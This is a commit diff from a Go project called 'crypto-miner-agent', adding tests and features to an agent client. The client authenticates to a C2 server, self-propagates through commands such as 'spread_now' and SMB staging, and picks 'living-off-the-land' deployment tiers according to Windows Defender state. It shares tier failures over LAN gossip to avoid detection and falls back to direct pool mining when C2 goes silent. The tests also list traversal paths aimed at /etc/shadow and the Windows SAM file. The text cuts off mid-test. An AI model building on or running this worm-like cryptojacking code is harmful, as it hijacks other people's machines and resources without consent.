Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -11,6 +11,17 @@ import (
|
||||
)
|
||||
|
||||
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
c.mu.Lock()
|
||||
scout := c.cfg.ScoutMode
|
||||
c.mu.Unlock()
|
||||
if scout {
|
||||
switch action {
|
||||
case "service_discover", "discover_and_join":
|
||||
return true, ""
|
||||
case "stage_fetch", "spread_now", "spread_smb_unc":
|
||||
return false, "roving scout mode never stages spread payloads"
|
||||
}
|
||||
}
|
||||
switch action {
|
||||
case "hole_punch", "hole_punch_close", "hole_punch_status":
|
||||
if !c.cfg.HolePunch {
|
||||
|
||||
@@ -1,7 +1,12 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
@@ -44,3 +49,162 @@ func TestParsePortArg(t *testing.T) {
|
||||
t.Fatal("invalid should fallback")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerAllowRemoteActionRecon(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
|
||||
for _, action := range []string{
|
||||
"wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover",
|
||||
} {
|
||||
ok, reason := c.allowRemoteAction(action)
|
||||
if !ok || reason != "" {
|
||||
t.Fatalf("%s should be allowed without forge flags: ok=%v reason=%q", action, ok, reason)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerAllowRemoteActionDiscoverAndJoinGate(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
|
||||
ok, reason := c.allowRemoteAction("discover_and_join")
|
||||
if ok || reason == "" {
|
||||
t.Fatalf("discover_and_join should require auto_spread or remote_aggressive: ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
c.cfg.RemoteAggressive = true
|
||||
ok, reason = c.allowRemoteAction("discover_and_join")
|
||||
if !ok || reason != "" {
|
||||
t.Fatalf("discover_and_join allowed with remote_aggressive: ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerCommandWgSetupRoutes(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("wg_setup invokes UPnP on Windows — routing covered by wg_status/configure tests")
|
||||
}
|
||||
var (
|
||||
mu sync.Mutex
|
||||
gotAct string
|
||||
gotOK bool
|
||||
gotMsg string
|
||||
)
|
||||
c := newTestClient(t)
|
||||
c.commandResultHook = func(action string, success bool, message string) {
|
||||
mu.Lock()
|
||||
gotAct, gotOK, gotMsg = action, success, message
|
||||
mu.Unlock()
|
||||
}
|
||||
|
||||
if !c.handleAggressiveCommand("wg_setup", 0, "", "", "") {
|
||||
t.Fatal("wg_setup should be handled by handleAggressiveCommand")
|
||||
}
|
||||
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for {
|
||||
mu.Lock()
|
||||
ready := gotAct != ""
|
||||
mu.Unlock()
|
||||
if ready || time.Now().After(deadline) {
|
||||
break
|
||||
}
|
||||
time.Sleep(5 * time.Millisecond)
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
act, ok, msg := gotAct, gotOK, gotMsg
|
||||
mu.Unlock()
|
||||
if act != "wg_setup" {
|
||||
t.Fatalf("action=%q", act)
|
||||
}
|
||||
if !ok {
|
||||
t.Fatalf("wg_setup should succeed at dispatch layer, got msg=%q", msg)
|
||||
}
|
||||
var result WGSetupResult
|
||||
if err := json.Unmarshal([]byte(msg), &result); err != nil {
|
||||
t.Fatalf("wg_setup result must be JSON: %v msg=%q", err, msg)
|
||||
}
|
||||
if result.PublicKey == "" && result.Error == "" {
|
||||
t.Fatalf("expected public_key or error in wg_setup JSON: %+v", result)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerCommandServiceDiscoverRoutes(t *testing.T) {
|
||||
if testing.Short() {
|
||||
t.Skip("service_discover performs live LAN probes")
|
||||
}
|
||||
var (
|
||||
mu sync.Mutex
|
||||
gotAct string
|
||||
gotOK bool
|
||||
gotMsg string
|
||||
)
|
||||
c := newTestClient(t)
|
||||
c.commandResultHook = func(action string, success bool, message string) {
|
||||
mu.Lock()
|
||||
gotAct, gotOK, gotMsg = action, success, message
|
||||
mu.Unlock()
|
||||
}
|
||||
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
defer close(done)
|
||||
if !c.handleAggressiveCommand("service_discover", 0, "1", "", "") {
|
||||
t.Error("service_discover should be handled")
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(8 * time.Second):
|
||||
t.Skip("service_discover LAN scan exceeded 8s in this environment")
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
act, ok, msg := gotAct, gotOK, gotMsg
|
||||
mu.Unlock()
|
||||
if act != "service_discover" || !ok {
|
||||
t.Fatalf("result: action=%q ok=%v", act, ok)
|
||||
}
|
||||
if msg == "" || !strings.Contains(msg, "{") {
|
||||
t.Fatalf("service_discover should return JSON payload, got %q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerCommandWgConfigureBadPayload(t *testing.T) {
|
||||
var (
|
||||
mu sync.Mutex
|
||||
gotOK bool
|
||||
gotMsg string
|
||||
)
|
||||
c := newTestClient(t)
|
||||
c.commandResultHook = func(_ string, success bool, message string) {
|
||||
mu.Lock()
|
||||
gotOK, gotMsg = success, message
|
||||
mu.Unlock()
|
||||
}
|
||||
|
||||
if !c.handleAggressiveCommand("wg_configure", 0, "", "", "not-json") {
|
||||
t.Fatal("wg_configure should be handled")
|
||||
}
|
||||
if gotOK || !strings.Contains(gotMsg, "bad wg config payload") {
|
||||
t.Fatalf("got ok=%v msg=%q", gotOK, gotMsg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerCommandWgStatusRoutes(t *testing.T) {
|
||||
var (
|
||||
mu sync.Mutex
|
||||
gotAct string
|
||||
gotMsg string
|
||||
)
|
||||
c := newTestClient(t)
|
||||
c.commandResultHook = func(action string, _ bool, message string) {
|
||||
mu.Lock()
|
||||
gotAct, gotMsg = action, message
|
||||
mu.Unlock()
|
||||
}
|
||||
|
||||
if !c.handleAggressiveCommand("wg_status", 0, "", "", "") {
|
||||
t.Fatal("wg_status should be handled")
|
||||
}
|
||||
if gotAct != "wg_status" || gotMsg == "" {
|
||||
t.Fatalf("action=%q msg=%q", gotAct, gotMsg)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,6 +12,11 @@ func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
|
||||
"../etc/passwd",
|
||||
"/home/user/../../secret",
|
||||
`C:\Users\alice\..\admin`,
|
||||
"..",
|
||||
"~/../../outside",
|
||||
"@desktop/../../secret",
|
||||
"desktop:../../payload",
|
||||
"safe/inner/../../../etc/shadow",
|
||||
}
|
||||
for _, path := range cases {
|
||||
if err := validateAICommandPath(path); err == nil {
|
||||
@@ -72,6 +77,26 @@ func TestHandleAIRunDiagnostics(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAISpreadNowWhenEnabled(t *testing.T) {
|
||||
var gotAction string
|
||||
var gotOK bool
|
||||
var gotMsg string
|
||||
c := newTestClient(t)
|
||||
c.cfg.RemoteAggressive = true
|
||||
c.commandResultHook = func(action string, success bool, message string) {
|
||||
gotAction = action
|
||||
gotOK = success
|
||||
gotMsg = message
|
||||
}
|
||||
c.handleAICommand("spread_now", 0, "", "", "")
|
||||
if gotAction != "spread_now" || !gotOK {
|
||||
t.Fatalf("action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg)
|
||||
}
|
||||
if gotMsg == "" {
|
||||
t.Fatal("expected spread sweep message")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) {
|
||||
var gotOK bool
|
||||
var gotMsg string
|
||||
|
||||
124
agent/client/atlas_gossip.go
Normal file
124
agent/client/atlas_gossip.go
Normal file
@@ -0,0 +1,124 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (c *AgentClient) setAtlasLanGossipEnabled(enabled bool) {
|
||||
c.mu.Lock()
|
||||
c.atlasLanGossipEnabled = enabled
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
func (c *AgentClient) atlasLanGossipEnabledSnapshot() bool {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
return c.atlasLanGossipEnabled
|
||||
}
|
||||
|
||||
func (c *AgentClient) mergeGossipSkipsLocked(incoming []AtlasSkip) {
|
||||
if len(incoming) == 0 {
|
||||
return
|
||||
}
|
||||
have := make(map[string]bool, len(c.atlasSkips)+len(incoming))
|
||||
for _, s := range c.atlasSkips {
|
||||
have[s.Tier+"|"+s.Condition] = true
|
||||
}
|
||||
for _, s := range incoming {
|
||||
s.Tier = strings.TrimSpace(s.Tier)
|
||||
s.Condition = strings.TrimSpace(s.Condition)
|
||||
if s.Tier == "" || s.Condition == "" {
|
||||
continue
|
||||
}
|
||||
key := s.Tier + "|" + s.Condition
|
||||
if have[key] {
|
||||
continue
|
||||
}
|
||||
have[key] = true
|
||||
if strings.TrimSpace(s.Reason) == "" {
|
||||
s.Reason = "lan gossip"
|
||||
}
|
||||
c.atlasSkips = append(c.atlasSkips, s)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyGossipHints(hints []AtlasSkip) {
|
||||
c.mu.Lock()
|
||||
c.mergeGossipSkipsLocked(hints)
|
||||
c.mergeAtlasSkipsIntoPolicyLocked()
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleAtlasGossip(payload json.RawMessage) {
|
||||
var body struct {
|
||||
Hints []AtlasSkip `json:"hints"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &body); err != nil || len(body.Hints) == 0 {
|
||||
return
|
||||
}
|
||||
c.applyGossipHints(body.Hints)
|
||||
}
|
||||
|
||||
func (c *AgentClient) writeAtlasGossip(hints []AtlasSkip) {
|
||||
if !c.atlasLanGossipEnabledSnapshot() || len(hints) == 0 {
|
||||
return
|
||||
}
|
||||
payload, err := json.Marshal(map[string]interface{}{"hints": hints})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "atlas_gossip", Payload: payload})
|
||||
}
|
||||
|
||||
func (c *AgentClient) primaryGossipCondition(defenderEnabled *bool) string {
|
||||
c.mu.Lock()
|
||||
platform := c.cfg.RegistrationPlatform()
|
||||
c.mu.Unlock()
|
||||
p := strings.ToLower(strings.TrimSpace(platform))
|
||||
switch {
|
||||
case strings.Contains(p, "win"):
|
||||
if defenderEnabled != nil && *defenderEnabled {
|
||||
return "defender_on"
|
||||
}
|
||||
return "goos=windows"
|
||||
case strings.Contains(p, "linux"):
|
||||
return "goos=linux"
|
||||
case strings.Contains(p, "darwin"), strings.Contains(p, "mac"):
|
||||
return "goos=darwin"
|
||||
default:
|
||||
if p != "" {
|
||||
return "goos=" + p
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) maybeGossipFromAttempts(attempts []TierAttemptPayload, defenderEnabled *bool) {
|
||||
if !c.atlasLanGossipEnabledSnapshot() || len(attempts) == 0 {
|
||||
return
|
||||
}
|
||||
cond := c.primaryGossipCondition(defenderEnabled)
|
||||
var hints []AtlasSkip
|
||||
c.mu.Lock()
|
||||
if c.gossipSent == nil {
|
||||
c.gossipSent = make(map[string]struct{})
|
||||
}
|
||||
for _, a := range attempts {
|
||||
if a.OK || strings.TrimSpace(a.Tier) == "" {
|
||||
continue
|
||||
}
|
||||
key := a.Tier + "|" + cond
|
||||
if _, seen := c.gossipSent[key]; seen {
|
||||
continue
|
||||
}
|
||||
c.gossipSent[key] = struct{}{}
|
||||
reason := "lan gossip"
|
||||
if strings.TrimSpace(a.Error) != "" {
|
||||
reason = "lan gossip: " + a.Error
|
||||
}
|
||||
hints = append(hints, AtlasSkip{Tier: a.Tier, Condition: cond, Reason: reason})
|
||||
}
|
||||
c.mu.Unlock()
|
||||
c.writeAtlasGossip(hints)
|
||||
}
|
||||
80
agent/client/atlas_gossip_test.go
Normal file
80
agent/client/atlas_gossip_test.go
Normal file
@@ -0,0 +1,80 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func TestApplyGossipHintsMergesIntoPolicy(t *testing.T) {
|
||||
c := NewAgentClient(config.RuntimeConfig{})
|
||||
c.applyGossipHints([]AtlasSkip{
|
||||
{Tier: "docker", Condition: "no_docker", Reason: "lan sibling"},
|
||||
{Tier: "docker", Condition: "no_docker", Reason: "dup"},
|
||||
{Tier: "wsl", Condition: "defender_on", Reason: "blocked"},
|
||||
})
|
||||
|
||||
skips := c.atlasSkipsSnapshot()
|
||||
if len(skips) != 2 {
|
||||
t.Fatalf("atlasSkips=%+v", skips)
|
||||
}
|
||||
|
||||
policy := c.miningTierPolicy()
|
||||
have := map[miner.LOTLTier]bool{}
|
||||
for _, tier := range policy.SkipTiers {
|
||||
have[tier] = true
|
||||
}
|
||||
if !have[miner.LOTLTier("docker")] || !have[miner.LOTLTier("wsl")] {
|
||||
t.Fatalf("skip tiers=%v", policy.SkipTiers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAtlasGossipMessage(t *testing.T) {
|
||||
c := NewAgentClient(config.RuntimeConfig{})
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"hints": []AtlasSkip{{Tier: "container", Condition: "defender_on", Reason: "relay"}},
|
||||
})
|
||||
c.handleAtlasGossip(payload)
|
||||
skips := c.atlasSkipsSnapshot()
|
||||
if len(skips) != 1 || skips[0].Tier != "container" {
|
||||
t.Fatalf("skips=%+v", skips)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMaybeGossipFromAttemptsDedupes(t *testing.T) {
|
||||
c := NewAgentClient(config.RuntimeConfig{})
|
||||
c.setAtlasLanGossipEnabled(true)
|
||||
defFalse := false
|
||||
attempts := []TierAttemptPayload{{Tier: "docker", OK: false, Error: "denied"}}
|
||||
|
||||
c.maybeGossipFromAttempts(attempts, &defFalse)
|
||||
if len(c.gossipSent) != 1 {
|
||||
t.Fatalf("gossipSent=%v", c.gossipSent)
|
||||
}
|
||||
|
||||
before := len(c.gossipSent)
|
||||
c.maybeGossipFromAttempts(attempts, &defFalse)
|
||||
if len(c.gossipSent) != before {
|
||||
t.Fatal("duplicate attempt should not expand gossipSent")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMaybeGossipDisabledNoOp(t *testing.T) {
|
||||
c := NewAgentClient(config.RuntimeConfig{})
|
||||
c.setAtlasLanGossipEnabled(false)
|
||||
defTrue := true
|
||||
c.maybeGossipFromAttempts([]TierAttemptPayload{{Tier: "wsl", OK: false}}, &defTrue)
|
||||
if len(c.gossipSent) != 0 {
|
||||
t.Fatalf("gossipSent=%v want empty", c.gossipSent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyAuthLotlPolicySetsGossipFlag(t *testing.T) {
|
||||
c := NewAgentClient(config.RuntimeConfig{})
|
||||
c.applyAuthLotlPolicy(AuthResponse{AtlasLanGossipEnabled: true})
|
||||
if !c.atlasLanGossipEnabledSnapshot() {
|
||||
t.Fatal("expected atlas LAN gossip enabled from auth")
|
||||
}
|
||||
}
|
||||
@@ -66,6 +66,10 @@ type AgentClient struct {
|
||||
adaptiveStrategy AdaptiveStrategy
|
||||
// atlasSkips are fleet-learned hard subtree blocks from the failure atlas.
|
||||
atlasSkips []AtlasSkip
|
||||
// atlasLanGossipEnabled is opt-in via server auth policy.
|
||||
atlasLanGossipEnabled bool
|
||||
// gossipSent dedupes LAN gossip broadcasts per tier+condition.
|
||||
gossipSent map[string]struct{}
|
||||
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
|
||||
inheritedPhenotype *InheritedPhenotype
|
||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||
@@ -75,6 +79,10 @@ type AgentClient struct {
|
||||
joinLane string
|
||||
// clearanceLevel is the server-granted security clearance (L0–L4).
|
||||
clearanceLevel int
|
||||
// fleetRoleHintVal is the server-pulled role for fleet_role=auto forges.
|
||||
fleetRoleHintVal string
|
||||
// lanSeeders lists nearby seeders for miner staging pulls (webrtc/do_peer).
|
||||
lanSeeders []deploy.LANSeederHint
|
||||
|
||||
// lastJobAt records when the most recent valid mining job was delivered.
|
||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||
@@ -116,23 +124,31 @@ func (c *AgentClient) Run() error {
|
||||
}
|
||||
}
|
||||
|
||||
threads := c.cfg.EffectiveThreads()
|
||||
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
isSeeder := c.cfg.IsSeederRole(c.fleetRoleHint())
|
||||
|
||||
if !isSeeder {
|
||||
threads := c.cfg.EffectiveThreads()
|
||||
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
}
|
||||
|
||||
chainCtx, chainCancel := context.WithCancel(context.Background())
|
||||
defer chainCancel()
|
||||
c.miningChain = c.newMiningChainRunner()
|
||||
if deploy.WantsDeferMining() {
|
||||
if isSeeder {
|
||||
deploy.StartSeederStaging(c.cfg)
|
||||
} else if deploy.WantsDeferMining() {
|
||||
go c.startMiningWhenReady(chainCtx)
|
||||
} else {
|
||||
c.miningChain.Start(chainCtx)
|
||||
}
|
||||
defer c.miningChain.Stop()
|
||||
if !isSeeder {
|
||||
defer c.miningChain.Stop()
|
||||
}
|
||||
|
||||
// Start AI Autonomy runner if enabled
|
||||
if c.cfg.AIEnabled {
|
||||
// Start AI Autonomy runner if enabled (miners only — seeders have no pool).
|
||||
if c.cfg.AIEnabled && !isSeeder {
|
||||
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
|
||||
c.aiRunner.shareStats = func() (int, int) {
|
||||
c.mu.Lock()
|
||||
@@ -151,17 +167,19 @@ func (c *AgentClient) Run() error {
|
||||
defer c.mesh.Stop()
|
||||
}
|
||||
|
||||
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
|
||||
fallbackDone := make(chan struct{})
|
||||
fallbackManagerDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(fallbackManagerDone)
|
||||
c.stratumFallbackManager(fallbackDone)
|
||||
}()
|
||||
defer func() {
|
||||
close(fallbackDone)
|
||||
<-fallbackManagerDone
|
||||
}()
|
||||
if !isSeeder {
|
||||
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
|
||||
fallbackDone := make(chan struct{})
|
||||
fallbackManagerDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(fallbackManagerDone)
|
||||
c.stratumFallbackManager(fallbackDone)
|
||||
}()
|
||||
defer func() {
|
||||
close(fallbackDone)
|
||||
<-fallbackManagerDone
|
||||
}()
|
||||
}
|
||||
|
||||
// Build deduped server list: primary first, then backups.
|
||||
// On each failure we advance to the next URL so the fleet never
|
||||
@@ -179,7 +197,9 @@ func (c *AgentClient) Run() error {
|
||||
target := serverURLs[urlIdx%len(serverURLs)]
|
||||
start := time.Now()
|
||||
// Restore C2 share handler before connecting (in case Stratum had it).
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
if c.pool != nil {
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
}
|
||||
if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
|
||||
log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
|
||||
if err := c.beaconOnce(target); err != nil {
|
||||
@@ -332,7 +352,7 @@ func (c *AgentClient) authenticate() error {
|
||||
backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
|
||||
}
|
||||
|
||||
payload, _ := json.Marshal(AuthPayload{
|
||||
authPayload := AuthPayload{
|
||||
AgentID: c.agentID,
|
||||
FleetSecret: c.cfg.FleetSecret,
|
||||
Wallet: c.cfg.Wallet,
|
||||
@@ -365,7 +385,14 @@ func (c *AgentClient) authenticate() error {
|
||||
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
|
||||
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
|
||||
JoinLane: c.getJoinLane(),
|
||||
})
|
||||
FleetRole: config.NormalizeFleetRole(c.cfg.FleetRole),
|
||||
SeederMode: c.cfg.SeederMode,
|
||||
}
|
||||
parentID, spreadGen, spreadStrain := c.cfg.GenealogyReport(c.getJoinLane())
|
||||
authPayload.ParentAgentID = parentID
|
||||
authPayload.SpreadGeneration = spreadGen
|
||||
authPayload.SpreadStrain = spreadStrain
|
||||
payload, _ := json.Marshal(authPayload)
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -389,6 +416,7 @@ func (c *AgentClient) authenticate() error {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.applyAuthFleetRole(resp)
|
||||
c.agentID = resp.AgentID
|
||||
if resp.ClearanceLevel > 0 {
|
||||
c.mu.Lock()
|
||||
@@ -398,10 +426,17 @@ func (c *AgentClient) authenticate() error {
|
||||
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
||||
c.mu.Lock()
|
||||
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
||||
if c.cfg.IsSeederRole(c.fleetRoleHint()) {
|
||||
c.cfg.LotlOnionTiers = config.FilterSeederLotlTiers(c.cfg.LotlOnionTiers)
|
||||
}
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
|
||||
}
|
||||
if seeders := c.lanSeedersSnapshot(); len(seeders) > 0 {
|
||||
localIP, _ := deploy.PrimaryLocalIPv4()
|
||||
deploy.SetLANSeederHints(seeders, localIP)
|
||||
}
|
||||
c.clearWSDownSince()
|
||||
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||
@@ -415,6 +450,10 @@ func (c *AgentClient) authenticate() error {
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
if cfg.ScoutMode {
|
||||
c.startScoutRoving()
|
||||
return
|
||||
}
|
||||
if cfg.AutoSpread {
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
if deploy.WantsFirstRunSpread(cfg) {
|
||||
@@ -422,12 +461,14 @@ func (c *AgentClient) authenticate() error {
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
}
|
||||
if cfg.LotlOnionEnabled {
|
||||
if cfg.LotlOnionEnabled && !cfg.IsSeederRole(c.fleetRoleHint()) {
|
||||
deploy.StartLotlOnion(cfg)
|
||||
}
|
||||
})
|
||||
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -508,6 +549,8 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
c.clearanceLevel = payload.ClearanceLevel
|
||||
c.mu.Unlock()
|
||||
}
|
||||
case "atlas_gossip":
|
||||
c.handleAtlasGossip(msg.Payload)
|
||||
case "command":
|
||||
var cmd struct {
|
||||
Action string `json:"action"`
|
||||
@@ -1128,6 +1171,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
Wallet: a.Wallet,
|
||||
}
|
||||
}
|
||||
c.maybeGossipFromAttempts(stats.LOTLAttempts, stats.DefenderEnabled)
|
||||
}
|
||||
if len(ms.FailedMethods) > 0 {
|
||||
stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
|
||||
@@ -1150,6 +1194,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.StratumEgress = c.stratumEgress(false)
|
||||
}
|
||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||
deploy.SetSpreadMiningTelemetry(stats.MiningHashrate, stats.ChainExhausted)
|
||||
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
|
||||
stats.AtlasSkips = atlasSkips
|
||||
}
|
||||
@@ -1173,6 +1218,14 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
if lane := c.getJoinLane(); lane != "" {
|
||||
stats.JoinLane = lane
|
||||
}
|
||||
parentID, spreadGen, spreadStrain := c.cfg.GenealogyReport(stats.JoinLane)
|
||||
stats.ParentAgentID = parentID
|
||||
stats.SpreadGeneration = spreadGen
|
||||
stats.SpreadStrain = spreadStrain
|
||||
role, seedP, hrP := c.fleetPressureFields(stats.MiningHashrate, stats.JoinLane)
|
||||
stats.FleetRole = role
|
||||
stats.SeedPressure = seedP
|
||||
stats.HashratePressure = hrP
|
||||
payload, _ := json.Marshal(stats)
|
||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
log.Printf("[agent] stats send failed: %v", err)
|
||||
|
||||
@@ -2,6 +2,8 @@ package client
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
@@ -32,18 +34,27 @@ func captureCommandResult(t *testing.T, c *AgentClient) (done <-chan struct{}, r
|
||||
return ch, out
|
||||
}
|
||||
|
||||
// traversalPaths lists every variant that must be rejected by upload/download.
|
||||
var traversalPaths = []struct {
|
||||
name string
|
||||
path string
|
||||
}{
|
||||
{name: "unix_relative", path: "../../etc/passwd"},
|
||||
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
|
||||
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
|
||||
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
|
||||
{name: "dotdot_only", path: ".."},
|
||||
{name: "mixed_separators", path: `foo\..\bar\..\..\secret`},
|
||||
{name: "tilde_traversal", path: "~/../../etc/passwd"},
|
||||
{name: "desktop_prefix_traversal", path: "@desktop/../../outside.txt"},
|
||||
{name: "desktop_colon_traversal", path: "desktop:../../payload.bin"},
|
||||
{name: "midpath_dotdot", path: "safe/inner/../../../etc/shadow"},
|
||||
}
|
||||
|
||||
func TestUploadCommandRejectsPathTraversal(t *testing.T) {
|
||||
data := base64.StdEncoding.EncodeToString([]byte("payload"))
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
path string
|
||||
}{
|
||||
{name: "unix_relative", path: "../../etc/passwd"},
|
||||
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
|
||||
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
|
||||
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
|
||||
}
|
||||
cases := traversalPaths
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
@@ -75,15 +86,7 @@ func TestUploadCommandRejectsPathTraversal(t *testing.T) {
|
||||
|
||||
|
||||
func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
path string
|
||||
}{
|
||||
{name: "unix_relative", path: "../../etc/passwd"},
|
||||
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
|
||||
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
|
||||
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
|
||||
}
|
||||
cases := traversalPaths
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
@@ -112,6 +115,40 @@ func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
func TestUploadCommandRejectsInvalidBase64(t *testing.T) {
|
||||
c := newTestClient(t)
|
||||
done, got := captureCommandResult(t, c)
|
||||
c.handleCommand("upload", 0, "", "notes.txt", "not-valid-base64!!!", "")
|
||||
<-done
|
||||
if got.success {
|
||||
t.Fatalf("expected base64 failure, got %q", got.message)
|
||||
}
|
||||
if !strings.Contains(got.message, "invalid base64") {
|
||||
t.Fatalf("message=%q", got.message)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadCommandReadsSafeFile(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
src := filepath.Join(dir, "payload.bin")
|
||||
content := []byte("download-me")
|
||||
if err := os.WriteFile(src, content, 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
data := base64.StdEncoding.EncodeToString(content)
|
||||
|
||||
c := newTestClient(t)
|
||||
done, got := captureCommandResult(t, c)
|
||||
c.handleCommand("download", 0, "", src, "", "")
|
||||
<-done
|
||||
if !got.success {
|
||||
t.Fatalf("download failed: %s", got.message)
|
||||
}
|
||||
if got.message != data {
|
||||
